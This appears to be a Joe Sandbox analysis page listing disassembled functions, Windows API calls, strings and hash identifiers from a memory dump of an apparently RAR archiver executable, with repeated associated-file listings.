Opcode Fuzzy Hash: 782f304219662b4eecf027b144e7046621da4246e6178cffb5e29678f0c5f42f
Instruction Fuzzy Hash: 0902C032A1868286EB24DB29E4896BE63B5FB8C784F410135DF5D8B7A9DF3CE445C700

Function 00007FF6BBCB49B8 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 372COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF6BBCB4BD8

Part of subcall function 00007FF6BBCFB6D0: Sleep.KERNEL32(?,?,?,?,00007FF6BBCCCBED,?,00000000,?,00007FF6BBCF7A8C), ref: 00007FF6BBCFB730

Part of subcall function 00007FF6BBCD1E80: CreateFileW.KERNELBASE ref: 00007FF6BBCD1F4A
Part of subcall function 00007FF6BBCD1E80: GetLastError.KERNEL32 ref: 00007FF6BBCD1F59
Part of subcall function 00007FF6BBCD1E80: CreateFileW.KERNELBASE ref: 00007FF6BBCD1F99
Part of subcall function 00007FF6BBCD1E80: GetLastError.KERNEL32 ref: 00007FF6BBCD1FA2
Part of subcall function 00007FF6BBCD1E80: SetFileTime.KERNEL32 ref: 00007FF6BBCD1FF1

Strings

%s, xrefs: 00007FF6BBCB4EAF
%12s %s, xrefs: 00007FF6BBCB4E58
%12s %s, xrefs: 00007FF6BBCB4E8E
, xrefs: 00007FF6BBCB4F01

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: File$CreateErrorLast$SleepTime
String ID: %12s %s$%12s %s$ $%s
API String ID: 2965465231-221484280
Opcode ID: 243e240d92035203585a04358195e9a1f419bc689fbc130788e8de5a1c1be098
Instruction ID: 446b3b12e8b82844f66b3237aafa7339b1037fbbc35600e217d62557634abff6
Opcode Fuzzy Hash: 243e240d92035203585a04358195e9a1f419bc689fbc130788e8de5a1c1be098
Instruction Fuzzy Hash: BCF1BD22B0DA8A86EA70DB1AE0582BE63B1FB8DB84F840435DB4D877A5DF3CD555C300

Function 00007FF6BBD14C10 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6BBD14C89
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6BBD14CA1
RtlVirtualUnwind.KERNEL32 ref: 00007FF6BBD14CDC
IsDebuggerPresent.KERNEL32 ref: 00007FF6BBD14D15
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6BBD14D1F
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6BBD14D2A

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 63ae987077db39b18cf30f3f9a6d60a5092a8d8f4155411af1d7abcba61ca722
Instruction ID: e218a78f696793cf3f22fb9cce14a81a6388ea0d262e31333ce93723555dbc80
Opcode Fuzzy Hash: 63ae987077db39b18cf30f3f9a6d60a5092a8d8f4155411af1d7abcba61ca722
Instruction Fuzzy Hash: F3316436618F818ADB64CF29E8502AE73A4FB88754F540635EB9D83B69DF3CD145CB00

Function 00007FF6BBCCEF50 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6BBCCEE47), ref: 00007FF6BBCCEF73
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF6BBCCEE47), ref: 00007FF6BBCCEF84
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6BBCCEFA7
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6BBCCEFCA
GetLastError.KERNEL32 ref: 00007FF6BBCCEFD4
CloseHandle.KERNEL32 ref: 00007FF6BBCCEFE7

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3398352648-0
Opcode ID: a68743f79c0fdba85814f3f902c484d9b924ee88fd84a1759920b380f60e4056
Instruction ID: eaceaf08658ab616f56edf132a9b449bbf9133e79fc56e08e1f284935897c345
Opcode Fuzzy Hash: a68743f79c0fdba85814f3f902c484d9b924ee88fd84a1759920b380f60e4056
Instruction Fuzzy Hash: BC113032618B8286E754CF25E45456AB7B4FB8CB80F545535EB8E83A28DF3CE045CB40

Function 00007FF6BBCB42E0 Relevance: 6.3, APIs: 4, Instructions: 344COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BBCB72C4: new.LIBCMT ref: 00007FF6BBCB73DE

Part of subcall function 00007FF6BBCB8010: SetLastError.KERNEL32 ref: 00007FF6BBCB803D

new.LIBCMT ref: 00007FF6BBCB448C
new.LIBCMT ref: 00007FF6BBCB44C5
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6BBCB4573
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6BBCB4584

Part of subcall function 00007FF6BBCCCA40: _CxxThrowException.LIBVCRUNTIME ref: 00007FF6BBCCCEDE

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: ExceptionThrow$ErrorLaststd::bad_alloc::bad_alloc
String ID:
API String ID: 3116915952-0
Opcode ID: 8527d030e3cc7ba1d2d2188fa28773b5d1ef2776714c206f3930b60042c0ccec
Instruction ID: b97b423a1325c91305586c91663740d74528d4d27d8c188e9b7ccb208e60e9c3
Opcode Fuzzy Hash: 8527d030e3cc7ba1d2d2188fa28773b5d1ef2776714c206f3930b60042c0ccec
Instruction Fuzzy Hash: 42E15D26A1CA8A82EA24EB29E4585FD2775FB8D784F445032DF4D8B7A6DF3CE505C700

Function 00007FF6BBCD3A70 Relevance: 6.1, APIs: 4, Instructions: 74fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,00007FF6BBCD11B0,?,?,?,00000000,?,?,00007FF6BBCCF30F,00000000,00007FF6BBCB6380,?,00007FF6BBCB2EC8), ref: 00007FF6BBCD3AC4
CreateFileW.KERNEL32(?,?,?,00007FF6BBCD11B0,?,?,?,00000000,?,?,00007FF6BBCCF30F,00000000,00007FF6BBCB6380,?,00007FF6BBCB2EC8), ref: 00007FF6BBCD3B0A
DeviceIoControl.KERNEL32 ref: 00007FF6BBCD3B55
CloseHandle.KERNEL32(?,?,?,00007FF6BBCD11B0,?,?,?,00000000,?,?,00007FF6BBCCF30F,00000000,00007FF6BBCB6380,?,00007FF6BBCB2EC8), ref: 00007FF6BBCD3B60

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: CreateFile$CloseControlDeviceHandle
String ID:
API String ID: 998109204-0
Opcode ID: eff6c290fb367c5b76febf0d76c2ae076eb862a10f6af346eafb357c39462c7d
Instruction ID: 4ecc1b57a8dbd158b76502ad7a97ee5c11b94c25cfccf6913f8123103abba417
Opcode Fuzzy Hash: eff6c290fb367c5b76febf0d76c2ae076eb862a10f6af346eafb357c39462c7d
Instruction Fuzzy Hash: CA316B36618B8186E7648F55F4446AAB7A4FB887E4F100336EBA953BE8CF3CD5558B00

Function 00007FF6BBCB8884 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 324COMMON

Download Yara Rule

Strings

CMT, xrefs: 00007FF6BBCB8D2A

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID:
String ID: CMT
API String ID: 0-2756464174
Opcode ID: cbae23b477236efd5552a84d69818ed097b452cbaf440f48f7b5ba52d2a69677
Instruction ID: 1d5e5bc9ac82fd6f4391598fc0eddf475ae500dd8cc49e39542667d04754b506
Opcode Fuzzy Hash: cbae23b477236efd5552a84d69818ed097b452cbaf440f48f7b5ba52d2a69677
Instruction Fuzzy Hash: 92D1CF62A1868686EA34EB29D4581BD63B0FF8DB80F544532DB9E876F5DF3CE541C304

Function 00007FF6BBD186D4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BBD18704

Part of subcall function 00007FF6BBD14E3C: GetCurrentProcess.KERNEL32(00007FF6BBD19CC5), ref: 00007FF6BBD14E69

Strings

*?, xrefs: 00007FF6BBD1872B
., xrefs: 00007FF6BBD18B24

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: CurrentProcess_invalid_parameter_noinfo
String ID: *?$.
API String ID: 2518042432-3972193922
Opcode ID: 354f185c14a0bc8d05e3972864cc7dbacf8a132eb4984f49e6355014e857c6aa
Instruction ID: c3b8d82b4ce5100a16e67642e5606495364b9bb05af275e8fc76cb9e2f5c7ad5
Opcode Fuzzy Hash: 354f185c14a0bc8d05e3972864cc7dbacf8a132eb4984f49e6355014e857c6aa
Instruction Fuzzy Hash: D951D162F25AA585EB18DFAAA8004AC67A4FB48BD8B484631DF0D97B95DF3DD042C710

Function 00007FF6BBCFB340 Relevance: 4.5, APIs: 3, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 00007FF6BBCFB39A
CheckTokenMembership.ADVAPI32 ref: 00007FF6BBCFB3B1
FreeSid.ADVAPI32 ref: 00007FF6BBCFB3C2

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: db3c1d02e190598f29aa164aeddc5f855d0a4ca8ba77325bab1d25996cb1689a
Instruction ID: c896e45e59c7abcea306fafbcae97b4fad9d05064054ca909d28d3e3e23dcb38
Opcode Fuzzy Hash: db3c1d02e190598f29aa164aeddc5f855d0a4ca8ba77325bab1d25996cb1689a
Instruction Fuzzy Hash: 8D111C72B14A418EE7148FB9E4912AE77B0FB48748F40563ADB8D93A68DF3CD144CB04

Function 00007FF6BBCCCAFC Relevance: 3.0, APIs: 2, Instructions: 27windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,00007FF6BBCCCDE2), ref: 00007FF6BBCCCB11
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,00007FF6BBCCCDE2), ref: 00007FF6BBCCCB3B

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 5edc9aacada912d44111c0c5b3025bcfc37222d54029d4996b892e874874bebb
Instruction ID: c266759fc2134d8da3bf03023a5ccc8e9aa61740b089d2e234ba137526af0e53
Opcode Fuzzy Hash: 5edc9aacada912d44111c0c5b3025bcfc37222d54029d4996b892e874874bebb
Instruction Fuzzy Hash: 91F05E31B08B8182E3108F6AB44412BA7A5FB99BD4F088534EB8993B69CF7CC5518B44

Function 00007FF6BBCD3144 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNEL32(00007FF6BBCD2684), ref: 00007FF6BBCD319F

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 336a33042f1e52100b28f5a1ad6ae687e8956255ef3791e684bc327077314d0d
Instruction ID: 581b6e06013a9210e29bc3fbd1ae8f40ad8597621b9387624f8bc4e5e91cc411
Opcode Fuzzy Hash: 336a33042f1e52100b28f5a1ad6ae687e8956255ef3791e684bc327077314d0d
Instruction Fuzzy Hash: DF012D2262868286EB70DB19E4553AAB3B1FB88744F800531E78CC6598DF2CD644CF40

Function 00007FF6BBD16130 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BBD162AD

Strings

nan, xrefs: 00007FF6BBD16198
INF, xrefs: 00007FF6BBD161A3
nan(ind), xrefs: 00007FF6BBD161E6
NAN, xrefs: 00007FF6BBD16191
nan(snan), xrefs: 00007FF6BBD161D0
NAN(SNAN), xrefs: 00007FF6BBD161C5
inf, xrefs: 00007FF6BBD161B6
NAN(IND), xrefs: 00007FF6BBD161DB

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: 336881e81ddd14afa9560f251b33c86b073c2b2d41bd1fd01ec7cedf827ef5ce
Instruction ID: cd937f801d2c09c060d2e47e2694988250106d75722e3469439008024b0a6ed3
Opcode Fuzzy Hash: 336881e81ddd14afa9560f251b33c86b073c2b2d41bd1fd01ec7cedf827ef5ce
Instruction Fuzzy Hash: 9541AA72B09B9589E708CF69E8517A933A4FB18388F44423AEF5C87BA5DE3DD065C340

Function 00007FF6BBCC7988 Relevance: 13.6, APIs: 9, Instructions: 60COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(00000000,00000100,?,?,00000002,00007FF6BBCC7892), ref: 00007FF6BBCC79BC
GetStdHandle.KERNEL32 ref: 00007FF6BBCC79CA
GetConsoleMode.KERNEL32 ref: 00007FF6BBCC79E0
GetConsoleMode.KERNEL32 ref: 00007FF6BBCC79EE
SetConsoleMode.KERNEL32 ref: 00007FF6BBCC79FC
SetConsoleMode.KERNEL32 ref: 00007FF6BBCC7A0A
ReadConsoleW.KERNEL32 ref: 00007FF6BBCC7A24
SetConsoleMode.KERNEL32 ref: 00007FF6BBCC7A3A
SetConsoleMode.KERNEL32 ref: 00007FF6BBCC7A47

Part of subcall function 00007FF6BBCC82E4: fflush.LIBCMT ref: 00007FF6BBCC832F

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: Console$Mode$Handle$Readfflush
String ID:
API String ID: 1039280553-0
Opcode ID: 5c62bb105008418d5d8f1a35d4748ced2dc44b1bf30dc7e2d2292546f420945d
Instruction ID: 69e25be96bcd1ad8687e638ad3b2b8c771cdf05e96cdccc5db5e2bfee700fc8a
Opcode Fuzzy Hash: 5c62bb105008418d5d8f1a35d4748ced2dc44b1bf30dc7e2d2292546f420945d
Instruction Fuzzy Hash: 56216235B18A829BEA149F29E8045396361FB8DBA1F540231EF4A47B74DF3CE446C744

Function 00007FF6BBD00140 Relevance: 12.2, APIs: 8, Instructions: 205COMMON

Download Yara Rule

